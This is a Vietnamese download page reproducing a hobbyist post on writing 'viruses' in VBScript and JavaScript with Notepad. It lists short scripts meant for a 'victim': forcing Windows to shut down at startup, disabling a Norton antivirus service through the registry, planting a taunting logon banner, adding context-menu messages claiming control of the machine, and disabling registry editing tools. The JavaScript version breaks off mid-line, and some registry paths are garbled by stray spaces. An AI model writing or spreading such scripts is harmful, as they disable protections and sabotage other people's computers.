Đang chuẩn bị liên kết để tải về tài liệu:
Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng _VBSCRIPT hoặc _Javascript
Đang chuẩn bị nút TẢI XUỐNG, xin hãy chờ
Tải xuống
Không cho victim khởi động máy: Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows" | Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng _VBSCRIPT hoặc _Javascript Chỉ với Notepad hay Wordpad bạnđã có thể tự tạo cho mình 1 "chú" Virus dưới dạng _VBSCRIPT hoặc _Javascript Được viết bởi Adminngày 26/03/2009 trong Java | Được xem 361 lần. 1.Không cho victim khởi động máy: Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows" 2. Disable NAV: Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi c es\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD" 3. Hiển thị một message mỗi khi reboot máy: dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi n Logon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "http://allformy.topcities.com" wsh.RegWrite s1+s3, "Ta la anh_hung_bat_dac_di000-Toi den tu HVA" 4. Hiển thị một dòng lệnh khi click vào file hay folder:, set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U" 5. Làm cho các trò trên hoạt động bình thường: Dim objShell Set objShell = CreateObject( "WScript.Shell" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\ " s2 = "Policies\System\DisableRegistryTools" objShell.RegWrite s1+s2,1, "REG_DWORD" Dưới dạng Javascipt : var wsh; wsh=new ActiveXObject ("Wscript.shell"); // Winlogon when reboot var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersio n \\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; wsh.RegWrite (s1+ s2, .